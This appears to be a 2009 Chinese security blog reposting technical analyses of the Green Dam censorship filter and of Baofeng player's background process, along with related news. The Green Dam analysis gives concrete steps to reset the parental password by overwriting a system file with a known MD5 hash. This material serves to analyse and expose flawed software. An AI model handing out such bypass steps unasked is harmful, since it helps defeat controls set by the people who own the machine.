（联合早报网讯）香港明报报道，中国工业和信息化部强制推行的“绿坝-花季护航”过滤软件，在实际应用中曾闹过不少荒唐的笑话，引起学者和网民质疑。着名学者、《北大商业评论》副主编胡泳指出，若图片背景是黄色为主，黑色为辅，就有可能被“绿坝”判为色情图片；学校老师所出的数学题里因为有玩球和摸球的字样，就被软件所屏蔽掉。

　　在科技中国网站上，有专长资讯科技的网友罗列绿坝软件执行观察，指软件屏蔽的不良信息包括时政类信息，其判断没有任何提示，“同性恋”亦被视为不良信息。软件对微软的互联网浏览器（IE）较有效，但对“火狐”（Firefox）则无法监控。假如新华社网站刊载了人体艺术图片，整个新华网将被屏蔽及列入黑名单，网址列入黑名单并无确认，软件自身保护功能不强，并可被文件粉碎机绞碎。

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

绿坝-花季护航软件技术分析 A Technical Analysis of the 'Green Dam-Youth Escort' Software

2009-06-11T13:04:00.002+08:00

声明：本文为转载版权归原作者所有。
原文地址：https://docs.google.com/View?id=afk7vnz54wt_12f8jzj9gw

绿坝-花季护航软件技术分析
A Technical Analysis of the 'Green Dam-Youth Escort' Software

协作组编写 A collaborative work
2009年6月 June, 2009

关于 About

绿坝-花季护航是金惠堵截黄色图像和不良信息专家系统的市场产品名。
Green Dam is the informal name given to the expert system from Jinhui Technologies which blocks pornographic images and other harmful information.

金惠堵截黄色图像和不良信息专家系统 V2.51
项目总监赵慧琴 Project Director: Zhao Huiqin
技术总监周翚 Technical Director: Zhou Hui
总设计师汤怀礼 Chief Designer: Tang Huaili
策划经理何红杰 Project Manager: He Hongjie
项目工程师李弼程 ,曹闻 ,彭天强 ,钟声 Project Engineers: Li Bicheng, Cao Wen, Peng Tianqiang, Zhong Sheng, Li Xiaohe, Li Yang, Zhang Wenzhong
李晓贺 ,李扬 ,李书进黄亮 ,张文中
测试 Mary 马, Sharon 张, 董娟 Beta Testers: Mary Ma, Sharon Zhang, Dong Juan
文档张晨民，刘裕 ,Biddle 张 Documentation: Zhang Chenmin, Liu Yu, Biddle Zhang
系统支持吴朝阳, 宜娟 ,刘移山 ,丁敏 Systems Support: Wu Chaoyang, Xuan Juan, Liu Yishan, Ding Min
金惠科技版权 (c) 2005 所有权利保留 Http://www.zzjinhui.com ©2009 Jinhui Technologies. All Rights Reserved

1)国家公安部信息安全专用产品销售许可证（XKC30492）National Ministry of Public Safety Information Security Product Sales License No. XKC30492
2)国家发展和改革委员会批准(发改高技[2004]2040号)列入“重大软件产业化专项”，是全国同类过滤产品唯一批准项目 National Development and Reform Commission Approval (NDRC Circular[2004]#2040) as "Major Software Industrialization Project", the only approved filtering software project of its kind nationwide
3)国家科技部（国科发技字[2004]449号）批准为“技术创新基金项目” Ministry of Science and Technology (MOST Circular[2004]#449) Approval for "technological innovation project funding"
4)国家信息产业部（信部运[2005]9号）批准为“电子信息产业发展基金项目” Ministry of Industry and Information Technology (MIIT Circular[2005]#9) Approval for "electronic information industry development project funding"
国家互联网违法和不良信息举报中心(net.china.cn)唯一正式推荐 Only the China Internet Illegal Information Reporting Center (ciirc.china.cn) has officially recommended Green Dam.
第九届中国国际软件博览会荣获金奖 Awarded first prize at the Ninth Chinese International Software Expo
2005中国郑州先进适用技术交易会金奖 First prize at the 2005 Zhengzhou Advanced Adaptive Technology Trade Fair
郑州市科技进步一等奖 First prize in technological advancement from Zhengzhou City
金惠公司营销服务中心电话：0371-63697160，63697161 Jinhui Marketing Service Center: 0371-63697160
传真：0371-63697171 Fax: 0371-63697171

目的和功能 Objectives and functions
以工信部，教育部，财政部和国务院新闻办为合作伙伴，绿坝目前有家庭版，厂商版，渠道版，网吧版以及校园版（家庭版与校园版经校验后发现完全一致，没有发现有官员版）。With the Ministry of Industry and Information Technology, Ministry of Education, Ministry of Finance and State Council Information Department as its partners, Greed Dam currently offers Family, Commercial, Organization, Internet Bar and Campus Editions.

公开宣称的功能：针对10-16岁青少年，过滤色情图片、色情内容、暴力内容、过滤反审查软件（例如无界）。
潜在功能：过滤政治内容？
Stated features: To protect minors from age 10-16 through the filtering of pornographic and violent images and content, also circumvention software.
Latent features: To filter political content?

还有一个绿坝网络版，在 http://www.zzjinhui.com/down/newServerCard.rar 可以下载。
There also exists a Network Edition of Green Dam, which can be downloaded here (.rar).
适用性 Applicability
虽然产品声明的目标是针对10-16岁青少年，但是产品的约定安装机器并没有选择性，产品缺省假设每台被安装的机器都是青少年使用。目前该产品只提供Windows 版本，对IE、Google Chrome（因为采用了系统的网络设置）有效，对Firefox 无效。软件屏蔽的不良信息包括时政类的不良信息，软件并非采用一般软件的安装方式，对Firefox无效，关闭浏览器及将网址加入黑名单无确认。在IE下 ,对明显属于时政类“不良信息”的信息判断不稳定。对色情类“不良信息”的网页判断较准。换成Firefox后，软件没反应。
Current versions only support Windows; effective only when used in conjunction with Internet Explorer or Google Chrome, it has no effect when used with Firefox. The harmful information screened by the software includes politically-related harmful information, and the software relies on non-conventional methods to install, also ineffective within Firefox, closing the browser and adding the website address onto a banned list without confirmation. In Internet Explorer, the software's ability to classify clearly political content as "harmful information" is unreliable; for pornographic content, Green Dam is able to make relatively accurate assessments. When used with Firefox, however, the software shows no response.

产品当前支持的兼容性列表
Compatibility list of currently supported projects

序号项目内容备注 Sequence / Item / Content/ Notes
操作系统 Operation Systems
1 Win98 兼容不支持屏幕文字监控 1. Windows 98, compatible, text screening not supported
2 Win2000 兼容 2. Windows 2000, compatible
3 Winxp 兼容 3. Windows XP, compatible
4 Win vista 兼容安装升级和卸载需管理员身份 4. Windows Vista, compatible, updates and uninstall can only be performed through User Account Control.
浏览器 Browsers
1 IE6.0/7.0 兼容 1. Internet Explorer 6.0/70, compatible
2 Opera 9.5 兼容 2. Opera 9.5, compatible
3 Firefox 2.0 兼容 3. Firefox 2.0, compatible
4 Netscape 9.0 兼容 4. Netscape 9.0, compatible
5 腾讯TT 3.0 兼容 5. Tencent Traveler 3.0, compatible
6 Maxthon 2.0 兼容 6. Maxthon 2.0, compatible
办公软件 Office Software
1 MS Office2003 兼容 1. Microsoft Office 2003, compatible
2 金山WPS 2007 兼容 2. Kingsoft WPS 2007, compatible
3 永中Office2007 兼容 Evermore Office 2007, compatible
杀毒软件 Anti-virus Software
1 卡巴斯基6/7 兼容 1. Kaspersky 6/7, compatible
2 瑞星19 兼容 2. Rising 19, compatible
3 江民2008 兼容 3. Jiangmin 2008, compatible
4 诺顿2008 兼容 4. Norton 2008, compatible
5 McAfee2008 兼容 5. McAfee 2008, compatible

技术架构分析 Technical Framework Analysis
程序结构 software architecture
绿坝-花季护航”所有的文件都安装在系统目录（%WinDir%和%WinSysDir%）下，程序菜单没有提供卸载入口，后发现卸载功能在主程序的一个菜单里。在启用“绿坝-花季护航”的图片过滤功能时，软件自动清除的浏览器缓存。
All files within "Green Dam-Youth Escort" are installed to the system directory (%WinDir% and %WinSysDir%), and while no means to uninstall are provided in the Applications menu, the option to uninstall can be found in a menu within the main program. When launching Green Dam's image filtering function, the software automatically clears the browser cache.

在%WinDir%目录下的xstring.s2g存放着该软件所有文件的安装路径。Within xstring.s2g, located in the Windows directory, there can be found all the installation paths for all the program's files.

运行时加载的模块：
驱动： C:Windows\system32\Drivers\mgtaki.sys
服务： C:Windows\MPSvcC.exe
启动项： C:Windows\system32\xnet2.exe
During operation, Green Dam installs the following modules:
Drivers: C:Windows\system32\Drivers\mgtaki.sys
Service: C:Windows\MPSvcC.exe
Launch: C:Windows\system32\xnet2.exe

经鉴定，是XDaemon.exe、XNet2.exe、gn.exe三个程序相互保护，防止被删掉和结束进程。这是一种通常被病毒和流流氓软件所使用的技术。
Following evaluation, three applications, XDaemon.exe, XNet2.exe and gn.exe, can be seen to be protecting one another, preventing each process from being deleted or interrupted, a kind of technique used by malware...

绿坝将密码用MD5算法转换后，以文本方式保存在system32目录下的kwpwf.dll文件中。以记事本打开该文件，以“D0970714757783E6CF17B26FB8E2298F”替换其内容后保存，即可将密码恢复为初始密码“112233”。
After Green Dam converts the password using the MD5 algorithm, it saves it in text format within the kwpwf.dll file located in the C:\WINDOWS\system32 directory. When opened using Notepad, if the content is then replaced with "D0970714757783E6CF17B26FB8E2298F" and saved, the password can then be restored to the original "112233".

绿坝的通过网络自动更新，同目录下里面还包含一张美女图不知是何用意。在经过网络用户的分析后，发现 http://www.zzjinhui.com/softpatch/kwupdate.dat 此文件和屏蔽关键词和URL有关。有2个相关IP：211.161.1.134和 203.171.236.231，其中第二个IP指向河南省郑州市景安计算机网络技术有限公司。(zzidc.com.cn)——（已失效）
Green Dam updates automatically online, and the update address is: http://www.zzjinhui.com/softpatch/; found therein is a pretty woman picture http://www.zzjinhui.com/softpatch/Image0.jpg although its purpose is unknown. Following analysis by Internet users, it was discovered that the file http://www.zzjinhui.com/softpatch/kwupdate.dat is related to the filtering of keywords and URLs. Connected to that are two IP addresses: 211.161.1.134 and 203.171.236.231; the second of the IP addresses belongs to Zhengzhou Giant Computer Network Technology Co. Ltd. in Henan province. (zzidc.com.cn) - (unavailable since yesterday)

内容检测技术 contents detection methods
图像过滤 Image filtering
图像检测进程从待检图像队列中获取图像数据，先归一化图像尺寸，然后分离肤色区域和非肤色区域，在对肤色区域关系进行分析后去除干扰，提取区域的特征送入已训练SVM分类器。当图像被检为色情图像后送入人脸检测器，若人脸不是主要部分便确定为色情图像。这套算法的主要问题是，色情图像的识别严重依赖于肤色和肤色形状；而最后使用人脸检测加权判定也只是手工打补丁避免出现大幅人脸识别为色情图像问题的办法，且经验权值可靠性缺乏验证。
The process of image detection begins when visual data is obtaining as the image is in queue to be screened, first normalizing the image's size, then separating areas of skin tone from those without skin tone; analysis of the relationship between areas of skin tone is followed by removal of noises, then extraction of the area's characteristics, which are then input into a trained SVM classifier. Once the image has been deemed pornographic it is sent to a human face detector; if a human face is not the primary component, the image is then classified as pornography. The main problem with this algorithm is that recognition of pornographic images relies heavily on skin color and shape, and the final use of a human face detector in a weighted judgment is only a manual patch aimed at preventing the problematic occurrence of large faces being identified as pornography, but also the reliability of empirical weighting lacks verification.

从XFImage.xml可观察到，绿霸使用了OpenCV的haar分类器进行人脸检测。绿霸附带的cximage.dll、CImage.dll、xcore.dll和Xcv.dll也来自OpenCV的库文件。都反映出绿霸主要使用了OpenCV来进行图像方面的处理。不过就像一般国产软件的做法，绿霸大概也无视了OpenCV的BSD许可证。
From XFImage.xml it can be observed that Green Dam uses OpenCV's Haar classifier in undergoing human face detection. Included with Green Dam, cximage.dll, CImage.dll, xcore.dll and Xcv.dll, also library files from OpenCV. This all suggests that Green Dam primarily uses OpenCV to process images. However, as is done with much of domestic Chinese software, Green Dam has disregarded OpenCV's BSD license.

金惠公司承诺图像检测正检率>90%，误检率<7%，而检出率 = 正检率*色情图像比例 + (1 – 误检率)*(1–色情图像比例)，在色情图像占1%时，检出率为93%。
Jinhui Corporation has committed to an accurate image detection rate of higher than 90%, and a false detection rate of less than 7%, with the detection rate=accurate detection rate*proportion of pornographic images＋(1-false detection rate)*(1-proportion of pornographic images); with 1% of images being pornographic, the detection rate would be 93%.

文字过滤 Text filtering
对政治性内容的分析，包括法轮功内容的过滤，使用了北京大正语言知识处理科技有限公司提供的文字过滤引擎HncEng.exe、HncEngPS.dll、SentenceObj.dll，数据文件HNCLIB/FalunWord.lib 中还包含以UTF-32LE编码的除法轮功外大量政治和色情有关的词汇。
An analysis of political content, including the filtering of Falun Gong-related content, shows that used is Beijing Dazheng Language Technology Co. Ltd.'s text filtering engine, HncEng.exe, HncEngPS.dll and SentenceObj.dll, and within data file HNCLIB/FalunWord.lib, in UTF-32LE code, aside from Falun Gong there can also be found a large glossary related to political and pornographic content.

从数据文件HNCLIB/FalunWord.lib中分析出来的关键词列表；更完整的解析出的关键词。

UMich的团队报告通过反向工程解出了绿霸安装在system32下的若干dat加密文件的解码方式，经过解码发现多数dat文件来自美产过滤软件CYBERsitter的关键字列表，另外几个dat文件（xword?.dat）则主要包含关于色情、政治和法轮功的词汇。
Team from UMich has developed decoding program for encrypted dat files in system32 by reverse-engineering, found that many of the encrypted files appear to be blacklists from the US-made CYBERsitter censorware circa 2006, and other interesting files include xword?.dat contain vulgarities and political terms relating to Falun Gong.
应用程序屏蔽 Application screening
对应用程序使用时间的控制 Regarding control over application usage time

金惠公司称，绿霸可以禁止各种网络游戏（如征途、魔兽世界）、聊天(如QQ、MSN)等程序，定制黑白名单过滤实效更强，阻断以代理服务器或代理类软件而躲避网址屏蔽的匿名浏览（如自由门） (金惠堵截黄色图像及不良信息专家系统FAQ-20080520)。
Jinhui claims that Green Dam can disable kinds of online game, instant messager with customizable blacklists and whitelists for effectiveness, meanwhile block some anonymous browsing proxy software such as FreeGate.

在system32中的filtport.dat 文件，默认内容是FreeGate/8567/tcp Urf/9666/tcp，推测就是对自由门和无界软件进行屏蔽的配置文件。
两个进程：xdaemon.exe和xnet2.exe，进入无界页面会.....
Screening of anticircumvention software, such as FreeGate. In system32 there can be found a filtport.dat file whose default content reads: FreeGate/8567/tcp Urf/9666/tcp. Two processes, xdaemon.exe and xnet2.exe, upon entering FreeGate will......

控制技术 controlling techniques
金惠公司称，绿霸软件能够控制未成年人上网、QQ、MSN及游戏的时间，避免过度沉溺于网络，有效戒除网瘾（谈判响应书）；Jjinhui claims that Green Dam can controls the time minors spend online, using QQ or MSN, and playing games; by preventing overindulgence of the Internet, Green Dam effectively eliminates Internet addiction.

应用程序监控 application monitoring
经过测试，发现如果在记事本或者WordPad中输入任何“法轮功”字样，都会关闭应用程序，但是在绘图板和MSN中输入这些字则不会有反应，这也说明其程序的不完备性。Testing has shown that if any word resembling "Falun Gong" is entered into either Notepad or WordPad, the application will shut down; however, typing the same characters into Paint or MSN Messenger bears no response, illustrating the incompleteness of the the program.

部分反编译的内容发现有多种应用程序是其监控的对象。
A segment of decompiled content shows the extent of the Green Dam's monitoring.

00468940 .wow.exe.魔兽世界....yaho
00468980 omessenger.exe..雅虎通..wangwang.exe....阿里旺旺....start.exe...
004689C0 网易POPO....网易popo....uc.exe..新浪UC..新浪uc..icq.exe.ICQ6....
00468A00 icq6....skype.exe...Skype...skype...eph.exe.e话通...doshow..msnm
00468A40 sgr.exe.MSN.msn messenger...qqgame.exe..QQ游戏..qq游戏..qqchat.e
00468A80 xe..QQ聊天室....qq聊天室....qq.exe..QQ..qq2.bitbomet.exe....BitC
00468AC0 omet....bitcomet....

从injlib.exe中（偏移地址0x89e8）提取出的字串，反映出一部分可能受监控的程序：
Possibly monitored programs (found in injlib.exe, offset 89e8H):

editplus.exe uedit32.exe emeditor.exe wordpad.exe notepad.exe wps.exe wpp.exe et.exe powerpnt.exe frontpg.exe excel.exe msaccess.exe outlook.exe winword.exe mailmagic.exe popo.exe
qqmail.exe aixmail.exe imapp.exe incmail.exe msimn.exe dm2005.exe foxmail.exe googletalk.exe miranda32.exe imu.exe ypager.exe tmshell.exe start.exe uc.exe icqchatrobot.exe qq.exe msnmsgr.exe gsfbwsr.exe greenbrowser.exe touchnet.exe theworld.exe maxthon.exe ttraveler.exe netscp.exe ge.exe firefox.exe opera.exe netcaptor.exe myie.exe iexplore.exe mmc.exe regedit.exe taskmgr.exe
mpsvcc.exe
xdaemon.exe
xnet2.exe

几乎市面上所有常见文本编辑工具（EditPlus, UltraEdit, EmEditor）、办公软件（WPS三部件，MS Office系列）、邮件客户端、IM客户端、浏览器都会受到监视。
It seems that nearly all text editors on the market (EditPlus, UltraEdit, EmEditor), office software suites (WPS, MS Office), e-mail clients, instant messaging clients and browsers, are being monitored.

网络监控 Internet monitoring
金惠公司在文档中称，“绿坝”通过Winsock2的SPI接口获取发送和接收的数据，对这些数据进行分析，获取HTTP数据，将HTTP协议数据解析后，经过URL检测器，不良URL检测器和关键字检测器后，根据检测结果决定是否需要使用图像检测器，通过图像检测将新发现的不良网址提供给系统管理员。
In documentation, Jinhui claims that "Green Dam" utilizes the Winsock2 SPI port to obtain data from both sender and recipient, and through analyzing these data, obtains http data. Having obtained http data protocol and run through a URL detector, a harmful URL detector and a keyword detector, Green Dam decides based on those results whether or not image detection is needed, and through image detection, addresses of websites containing harmful information are delivered to system management.

用户体验 user experience
通过实际测试和用户反馈，发现绿坝的宣称功能的实现能力并不强，却没有避免在各个层面添加很多没有宣称的功能。部分用户的使用体验和讨论：Through testing and user feedback, it has been noted that Green Dam's ability to achieve its stated function is in fact not that strong, and has not avoided including many additional undisclosed functions situated at various levels. Here is a sample of some users' user experiences and discussion:
http://blog.sina.com.cn/s/blog_4b862d070100doj4.html
http://club.cat898.com/newbbs/dispbbs.asp?BoardID=1&id=2853590
http://www.meirendaddy.com/blog/?p=404
http://tieba.baidu.com/f?kz=591097210

知识产权侵害 copyright infringement
绿霸受到以下指控：
违反BSD许可证在软件中使用OpenCV库
将OpenCV的算法和技术用于申请专利
抄袭美产过滤软件CYBERsitter的关键字列表（猜测应该还有更多代码抄袭）
证据请见前。
潜在风险 vulnerabilities
后门：绿霸本身的安全性就有很大疑问，这样一款小公司开发的软件很容易存在安全漏洞，一旦被黑客发现，则所有安装绿霸的电脑都成为黑客的“肉鸡”，如果其安装量大的话，完全有可能重演“暴风影音断网”的事件。

因为绿坝软件本身的多种不完善性，可能会导致客户端正常软件功能的失效（例如，关闭没有保存的正常工作文档而不提示保存）。

因为该软件所有技术参数的设置，都基于科技人员本人对于什么是色情图片的假设。这些假设反而强化了色情的窠臼和性/别不平等，对青少年不利。

媒体报道 media coverage
（可能不属于技术分析报告，仅作参考）
(maybe off-topic, for information only)

中国收紧互联网控制（华尔街日报）
工业和信息化部文件
下月起新售个人电脑将预装上网过滤软件（网易科技）
“绿坝·花季护航”上网管理软件试用测评
外交部发言人反驳“你有孩子吗？”
“绿坝”为何遭质疑 (财经网）
上网过滤软件绿坝官网遭黑客攻击无法访问（新浪科技）

相关文件 links
绿坝与政府的谈判响应书：https://docs.google.com/fileview?id=F.17d2bb7b-bddd-4e3e-a2a1-00d2ec5e569f&hl=zh_CN

“绿坝—花季护航”使用全攻略 http://tech.techweb.com.cn/redirect.php?tid=387273&goto=lastpost

有人对与此软件有关的大正公司的一些文件进行了分析。通过对ST771.rar的分析，对ST771.rar\ST771\package2中hncldata_mdb.zip\L:\HncProjects\版权\检测版\升级包制作工具\2007.1.15\标准检测版\programfiles\hncldata.mdb进行分析后可以得到网址黑名单。在北京大正语言知识处理科技有限公司网站上还可以找到未加密的关键词文件：测试版中的色情关键词；非色情关键词；上级部门指示。

绿坝软件侵犯BSD协议

2009-06-11T13:02:00.000+08:00

"轰轰烈烈的“绿霸－花季护航”流氓软件的事情大家都已经知道了，鉴于所谓的国情，很多事情都不说也罢了。抛开政治因素以单纯的技术角度看这个软件，尤其令人诧异的是这个流氓软件对BSD软件许可证肆无忌惮的践踏和侵权！请看绿坝-花季护航软件技术分析，请注意本文以下分析内容：
从 XFImage.xml可观察到，绿霸使用了OpenCV的haar分类器进行人脸检测。绿霸附带的cximage.dll、CImage.dll、 xcore.dll和Xcv.dll也来自OpenCV的库文件。都反映出绿霸主要使用了OpenCV来进行图像方面的处理。不过就像一般国产软件的做法，绿霸大概也无视了OpenCV的BSD许可证。"

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

绿坝-花季护航软件遭破解使用者绕开密码限制

2009-06-11T12:53:00.000+08:00

6月11日消息，工信部日前下文要求国内新售电脑必须预装一款名为绿坝-花季护航的绿色上网软件，而破解这款软件密码的方法近日在网上出现，可使该软件失去作用。

该软件主要作用为主动屏蔽青少年上网的不良信息，而家长需要通过一个统一的初始密码对整个屏蔽方式进行监控。但据测试，上述破解方法可以很容易地替换掉家长设置的密码，使用者就可以实现绕开该软件随意上网。

该软件实施方，绿色上网过滤软件项目工作组的在线客服人员向网易科技表示，软件的制作方面正在努力改进和完善软件，后续版本的软件会完善类似密码容易被破解的问题。目前最新的软件版本为3.17，不过这个版本已被证实可以破解。

至于该软件的两家中标企业北京大正和郑州金慧公司，前者表示近期不接受外部采访，后者表示负责此事对外的经理出差，不知何时回公司。

据专业人士解释，该破解方法是利用了该软件对密码保存的一个设计漏洞，因为这个密码文件很容易被找到，而密码的加密方式为MD5的方式，这个方式本身也并不保险。

公开信息显示，工信部以总价4179万元的价格买下了绿坝-花季护航一年的使用权。据中央电视台报道，工信部将每年以政府采购的方式购买绿色上网软件，凡是技术强、过滤不良信息效果好的企业都可以参与竞争。

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

绿坝花季护航的过滤关键词

2009-06-11T06:44:00.001+08:00

匿名读者写道 "北京大正语言知识处理科技有限公司网站上有未加密的关键字列表，虽然不是最新版，但还是可以管中窥豹，看看那些打着保护祖国花朵名号的人到底想干些什么。
色情关键字列表（zip）显示：“黝黑”，“女士”，“卵细胞”，什么的也在其中。试验的小白鼠说，装了绿坝花季护航以后在word中输入“老师教学生玩摸球游戏”，word会被强制关闭，我一看，“玩摸”果然是关键字，不知输入“老师是位略显黝黑的女士”，word会不会被关闭。
这个就是新版本中falunword.lib的原型（zip），falunword，文件名还是半中半洋，一如既往的搞笑。
其中“良民”，“良善”，“良心”，“良心犯”，“良知”全部是关键字，为什么呢？
这个(zip)应该不是关键字列表，而是上级部门的一些指示，从指示内容可以清楚地了解到花季护航到底想要护些什么。从文件日期看，他们4，5年前就开始这么做了，可见招投标都是假的。问题是，这开发速度也太慢了吧。"

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

全球最危险黑客为避免引渡到美做最后努力

2009-06-10T08:03:00.000+08:00

据国外媒体报道，被美国以“有史以来最严重的军事黑客行为”而被通缉的英国电脑黑客加里·麦金农(Gary Mckinnon)将自周二开始，为避免被引渡到美国做最后的努力。麦金农的律师周二将向英国伦敦高等法院提出辩护，声称麦金农因患有阿斯伯格(Asperger)综合症而无法被移送到美国受审。阿斯伯格综合症是自闭症的一种，麦金农的律师团指出，将麦金农引渡到美国可能会导致精神病或自杀行为。
美国检方指控麦金农导致70万美元的损失，并使美国陆军2000多台组成的整个网络瘫痪24小时。美国弗吉尼亚东区法院检察官保罗·麦克诺提(Paul McNulty)指出：“麦金农被控针对军用计算机进行了有史以来最严重的黑客行为。”麦克诺提称，麦金农曾于2001年和2002年通过伦敦家中的计算机一再侵入美国五角大楼和美国国家航空和航天管理局。麦金农仅仅凭借56K的拨号调制解调器侵入上述网络，并发现许多美国的安全系统使用了没有密码保护的、不安全的微软Windows程序。美国于2004年要求引渡麦金农，英国内政部同意了这一要求。

　　麦金农的辩护律师凯伦·托德纳(Karen Todner)表示，英国高等法院的聆讯可能于周三结束，但该法院可能要到数周后才能宣布裁定结果。自麦金农于2002年被捕以来，他的律师团一直为避免将其引渡到美国而努力。麦金农希望在判决更为宽松的英国受审，而美国法院可能将判决他入狱最高达70年。

　　欧洲人权法院及英国高等法院、英国国会上议院都已批准了对麦金农的引渡。去年12月，麦金农向英国高等法院递交了认罪声明，承认违反了英国有关计算机犯罪的法律，并希望能在英国受审。1月25日，英国高等法院裁定，麦金农有权要求对英国内政部关于引渡其至美国的决定进行司法复审。麦金农的努力获得了诸多名人的支持，包括英国歌手斯汀(Sting)、平克弗洛伊德(Pink Floyd)吉他手戴维·吉尔莫(David Gilmour)以及曾被作为贝鲁特人质的作家特里·威特(Terry Waite)等。

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

断网与黑客无关我来抖一抖暴风那点见不得人的猫腻转载

2009-06-10T07:58:00.003+08:00

这几天看新闻，发现暴风七搞八搞，居然包装成了5.19断网的受害者，听说实际上是暴风被禁止，在新版本发布前，不准提供旧版本的下载，结果搞成了什么“召回”。然后就是一帮弱智媒体跟着瞎起哄，看得我牙都笑掉了。哄谁哪？圈里谁不知道暴风是怎么回事？说白了就是一款高水平的流氓软件，或者干脆叫间谍软件。稍微动动脑子就明白了，如果不是上亿用户的暴风本身有什么猫腻，几个小黑客怎么可能搞出那么大动静？

前几天翘班在家，闲着没事把GF笔记本上的暴风逆向了一下，结果发现了一个名叫stormliv的后台进程，每20秒自动轮询一次暴风的广告服务器，说白了就是暴风让它的1.2亿用户的电脑自动去点它的广告，用虚假点击骗广告主的钱，但是技艺不精，结果搞成了一个死循环，大量地占用dns资源，即便没有这次黑客攻击，酿成大祸也是迟早的事。

更蹊跷的是，我又测了一个519断网后，暴风25号发的一个新版本，这个版本里，导致断网的那些猫腻居然还都在！stormliv的死循环轮询机制根本没去掉，只是把轮询时间改得间隔长了一点，用了一些更复杂更隐蔽的逻辑，仍然是在在后台偷偷运行，而且删除后还会重新生成，服务删除或禁止后也会复活，普通人根本清不掉。

最cao蛋的是这软件在开机时，会通过服务项强行自启动，一般人根本关不掉这个开机启动项，占用内存不说，关键是把开机速度搞得巨慢(我把暴风卸了后，感觉本本的速度有明显提升)。就算把软件整个关掉了，还会驻留在内存里后台运行，卸也很难卸干净，另外还会干扰其他视频播放软件关联视频文件，这不是流氓是什么？

在坛子里混这么多年，从来都是潜水，这次是在受不了了，赤膊上阵，发个处女贴，说得不对的，希望大家包涵。

先分析一下暴风5月8日版本。

分析目标：stormliv.exe

一.静态特征：

版本：3.9.5.15

数字签名：有 [北京暴风网际科技有限公司 ]

签名时间：2009年5月8日 11:06:16

大小： 596,064 字节

编译日期：20009年5月8日 03:05:38(GMT)

CheckSum:A1192

编译工具: Mircosoft Visual C++ 6.0

加壳：无

运行界面：有，如图1

二.动态特征

1.启动和保护：

stormlive.exe通过服务实现开机自启动，而且此服务不能被删除、禁用、停止，如果删除或停用或禁止，下次再次运行暴风影音主程序storm.exe 会自动恢复。

2.端口侦听:

此进程被用于暴风影音多进程通讯，使用开启本地端口侦听，UDP协议实现。

监听UDP 1025 5357等端口，实现Stline(暴风盒子) ,stormlive和storm.exe间通讯

3.用户态钩子

stormlive.exe启动后，其meedb.dll会HOOK DeviceIoControl ,RegQueryValueA,RegQueryValueExW,CoCreateInstance 等函数

主要是用于过滤DVD区码控制(IOCTL_DVD_GET_REGION )和一些COM接口控制。

三.stormlive主要功能分析:

1.暴风影音自动升级功能

stormlive会自动连接 hxxp://download.baofeng.com/stormII/storm_ctrl.ini 文件

这是一个普通的升级配置文件。

目前内容如下，可以看到有最新版本、升级URL、是否强制升级、是否提示用户、提示用户信息等配置内容

==========================================================================

[SERVER]

version=3.09.06.10

url=

force=0

alert=0

info="暴风影音有新版\n\n，已更新至3.09.06.10"

[EXPERT]

lib=

url=

=========================================================================

升级部分逆向代码：如图2

2.信息统计:

目前发现可能连接下面这些地址来获取信息、或者回传统计，没发现涉及用户隐私或者系统配置信息等。

hxxp://active.baofeng.com/active2?pid=%d&id=%d&uid=%s&t=%d&v=%s&i

用户活动信息,包括安装日期，UID,ID等信息。

逆向代码：如图3

hxxp://areacode.baofeng.com:8081/adp/custom/;action=get_city_code

这个似乎是用来查询当前城市代码的，可能广告弹出需要。

hxxp://bukebo.baofeng.com/upload/talks.do?talkMd5=%s&talkVersion=

hxxp://midInfo.baofeng.com/mid/downSucc.html?ver=%s&pl_id=%s

MID统计信息，上传版本和MID

hxxp://midsd.baofeng.com/p2p/seed?name=

获取P2P种子信息，stormlive.exe似乎在升级时使用了P2P技术。

3.不可播放文件回传。如图4

当暴风影音发现不可播放文件时，会通过stormlive.exe,连接:hxxp://noplay.baofeng.com:9000/upload/upload.do来上传这个文件的部分片段。

这也是一个有界面的功能，只有用户手动选择不再自动提示，才会后台静默上传。

逆向代码如下：如图5

4.下载广告

stormlive.exe会连接download.baofeng.com,试图下载一个exmat.ini，其中包含了广告信息。

广告链接都是一个个ZIP压缩包，但其中未包含可执行程序。

逆向代码：如图6

其中在下载广告时，可能是为了绕过某些安全软件或anti-ad软件对其的封锁，没有采用HOSTS文件中的配置，而是自行获取download.baofeng.com的域名，而且会在一个死循环中每隔20000 毫秒(20秒）发送一次DNS查询包。

这段代码可能是导致此次断网门的罪魁祸首。

逆向代码如下：如图7

可以看到，如果对download.baofeng.com的gethostbyname调用失败，会每隔20秒重新获取一次，直到获取成功为止。

这样每小时就会发送数百个查询包，乘上暴风的用户量，数量之大非常恐怖。

四.清除方法

暴风影音新版共有3个没必要存在的进程：

1.stormpop.exe 用于弹出广告。

2.stline.exe 暴风盒子，也是广告和推荐等。

3.stormlive.exe 前述的升级、回传客户端。

其中前两个直接删除即可清除掉。

最后一个删除后还会重新生成，服务删除或禁止后也会复活。

有一个简单的方法可以清除这个程序，通过定位此文件的PE头，将IMAGE_NT_HEADERS->SubSystem改为IMAGE_SUBSYSTEM_NATIVE

即将这个程序修改为一个驱动/NATIVE程序，由于services.exe无法启动此程序，这个升级程序就无法继续工作了，同时也不会复活或被重生。

再分析一下暴风影音的最新版本

签名日期：2009年5月25日 22:11:57

版本：3.9.5.29

经过分析可以发现，5月8日签名版本（版本号：3.9.5.15）的相应功能都仍存在。

区别在于：其死循环获取download.baofeng.com域名的代码(ForeverLoopGetHost)改为了每隔30分钟获取一次。

而且在每次获取时有一些比较复杂的逻辑，而不是单纯地调用系统API gethostbyname来获取，可能是用于流量控制。

本文来自：http://blog.csdn.net/coachman/archive/2009/06/09/4255825.aspx

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

上兴远程控制20090601

2009-06-09T09:30:00.000+08:00

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

中国计划要求在电脑中预装屏蔽某

2009-06-08T18:14:00.001+08:00

